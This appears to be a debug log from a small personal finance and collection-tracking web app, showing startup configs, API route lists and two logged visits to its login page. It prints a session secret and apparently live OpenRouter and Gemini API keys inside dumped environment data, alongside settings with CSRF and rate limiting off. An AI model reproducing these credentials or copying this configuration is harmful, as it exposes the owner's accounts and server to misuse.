2026-07-23T16:43:20.602Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:43:20.606Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:43:20.607Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:43:20.611Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:43:20.617Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:43:20.628Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:43:20.631Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:43:20.640Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:43:20.642Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:43:20.647Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:43:20.652Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:43:20.655Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:43:20.658Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:43:20.667Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:43:20.667Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:43:20.673Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:43:20.675Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:43:20.679Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:43:20.681Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:43:20.683Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:43:20.688Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:43:20.691Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:43:20.693Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:43:20.696Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:43:20.698Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:43:20.701Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:43:20.706Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:43:20.710Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:43:20.712Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:43:20.722Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T17:19:18.720Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T17:19:18.926Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T17:19:19.011Z server-connect:setup:upload Upload middleware configured.
2026-07-23T17:19:19.012Z server-connect:secure CSRF Protection initialized
2026-07-23T17:19:19.014Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T17:19:19.015Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T17:19:19.015Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T17:19:19.016Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T17:19:19.016Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T17:19:19.017Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T17:19:19.020Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T17:19:19.021Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T17:19:19.022Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T17:19:19.022Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T17:19:19.023Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T17:19:19.023Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T17:19:19.024Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T17:19:19.027Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T17:19:19.027Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T17:19:19.028Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T17:19:19.028Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T17:19:19.029Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T17:19:19.029Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T17:19:19.030Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T17:19:19.030Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T17:19:19.031Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T17:19:19.031Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T17:19:19.032Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T17:19:19.032Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T17:19:19.033Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T17:19:19.033Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T17:19:19.034Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T17:19:19.034Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T17:19:19.034Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T17:19:19.035Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T17:19:19.035Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T17:19:19.035Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T17:19:19.036Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T17:19:19.036Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T17:19:19.036Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T17:19:19.037Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T17:19:19.037Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T17:19:19.146Z server-connect:router Serving templateView /
2026-07-23T17:19:19.160Z server-connect:app Executing action step identify
2026-07-23T17:19:19.160Z server-connect:app options: { provider: 'security' }
2026-07-23T17:19:19.162Z server-connect:auth No login cookie found
2026-07-23T17:19:19.163Z server-connect:output identity: false
2026-07-23T17:19:19.163Z server-connect:app Executing action step restrict
2026-07-23T17:19:19.163Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-23T17:19:19.167Z server-connect:output restrict: undefined
2026-07-23T17:19:20.872Z server-connect:router Serving templateView /login
2026-07-23T17:19:20.872Z server-connect:app Executing action step identify
2026-07-23T17:19:20.873Z server-connect:app options: { provider: 'security' }
2026-07-23T17:19:20.873Z server-connect:auth No login cookie found
2026-07-23T17:19:20.873Z server-connect:output identity: false
2026-07-23T17:19:20.873Z server-connect:router Render template layouts/authentication
2026-07-23T17:19:20.873Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.151.194.164',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-24T17:19:20.870Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.151.194.164',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.151.194.164',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-23T19:46:08.189Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T19:46:10.461Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T19:46:11.326Z server-connect:setup:upload Upload middleware configured.
2026-07-23T19:46:11.326Z server-connect:secure CSRF Protection initialized
2026-07-23T19:46:11.331Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T19:46:11.331Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T19:46:11.333Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T19:46:11.335Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T19:46:11.342Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T19:46:11.345Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T19:46:11.362Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T19:46:11.376Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T19:46:11.377Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T19:46:11.378Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T19:46:11.380Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T19:46:11.385Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T19:46:11.390Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T19:46:11.400Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T19:46:11.405Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T19:46:11.477Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T19:46:11.478Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T19:46:11.481Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T19:46:11.488Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T19:46:11.492Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T19:46:11.494Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T19:46:11.503Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T19:46:11.503Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T19:46:11.509Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T19:46:11.511Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T19:46:11.515Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T19:46:11.518Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T19:46:11.518Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T19:46:11.525Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T19:46:11.527Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T19:46:11.529Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T19:46:11.531Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T19:46:11.535Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T19:46:11.538Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T19:46:11.544Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T19:46:11.548Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T19:46:11.550Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T19:46:11.560Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T20:24:33.944Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T20:24:36.135Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T20:24:36.997Z server-connect:setup:upload Upload middleware configured.
2026-07-23T20:24:36.998Z server-connect:secure CSRF Protection initialized
2026-07-23T20:24:37.002Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T20:24:37.004Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T20:24:37.006Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T20:24:37.008Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T20:24:37.014Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T20:24:37.018Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T20:24:37.034Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T20:24:37.048Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T20:24:37.050Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T20:24:37.051Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T20:24:37.053Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T20:24:37.058Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T20:24:37.063Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T20:24:37.073Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T20:24:37.077Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T20:24:37.149Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T20:24:37.151Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T20:24:37.156Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T20:24:37.161Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T20:24:37.164Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T20:24:37.166Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T20:24:37.174Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T20:24:37.176Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T20:24:37.183Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T20:24:37.183Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T20:24:37.191Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T20:24:37.191Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T20:24:37.195Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T20:24:37.199Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T20:24:37.203Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T20:24:37.203Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T20:24:37.207Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T20:24:37.210Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T20:24:37.212Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T20:24:37.217Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T20:24:37.221Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T20:24:37.223Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T20:24:37.233Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T20:24:37.722Z server-connect:router Serving templateView /
2026-07-23T20:24:37.725Z server-connect:app Executing action step identify
2026-07-23T20:24:37.725Z server-connect:app options: { provider: 'security' }
2026-07-23T20:24:37.727Z server-connect:auth No login cookie found
2026-07-23T20:24:37.727Z server-connect:output identity: false
2026-07-23T20:24:37.727Z server-connect:app Executing action step restrict
2026-07-23T20:24:37.727Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-23T20:24:37.731Z server-connect:output restrict: undefined
2026-07-23T20:24:37.849Z server-connect:router Serving templateView /login
2026-07-23T20:24:37.849Z server-connect:app Executing action step identify
2026-07-23T20:24:37.849Z server-connect:app options: { provider: 'security' }
2026-07-23T20:24:37.850Z server-connect:auth No login cookie found
2026-07-23T20:24:37.850Z server-connect:output identity: false
2026-07-23T20:24:37.850Z server-connect:router Render template layouts/authentication
2026-07-23T20:24:37.850Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.219.86.171',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-24T20:24:37.847Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.219.86.171',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.219.86.171',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-24T08:50:00.503Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-24T08:50:02.773Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-24T08:50:03.638Z server-connect:setup:upload Upload middleware configured.
2026-07-24T08:50:03.639Z server-connect:secure CSRF Protection initialized
2026-07-24T08:50:03.642Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-24T08:50:03.644Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-24T08:50:03.646Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-24T08:50:03.648Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-24T08:50:03.654Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-24T08:50:03.657Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-24T08:50:03.674Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-24T08:50:03.691Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-24T08:50:03.692Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-24T08:50:03.692Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-24T08:50:03.693Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-24T08:50:03.697Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-24T08:50:03.702Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-24T08:50:03.712Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-24T08:50:03.717Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-24T08:50:03.789Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-24T08:50:03.789Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-24T08:50:03.794Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-24T08:50:03.801Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-24T08:50:03.805Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-24T08:50:03.806Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-24T08:50:03.813Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-24T08:50:03.816Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-24T08:50:03.822Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-24T08:50:03.824Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-24T08:50:03.828Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-24T08:50:03.829Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-24T08:50:03.832Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-24T08:50:03.838Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-24T08:50:03.840Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-24T08:50:03.842Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-24T08:50:03.844Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-24T08:50:03.848Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-24T08:50:03.848Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-24T08:50:03.855Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-24T08:50:03.859Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-24T08:50:03.861Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-24T08:50:03.871Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-24T08:50:50.510Z server-connect:setup:config {
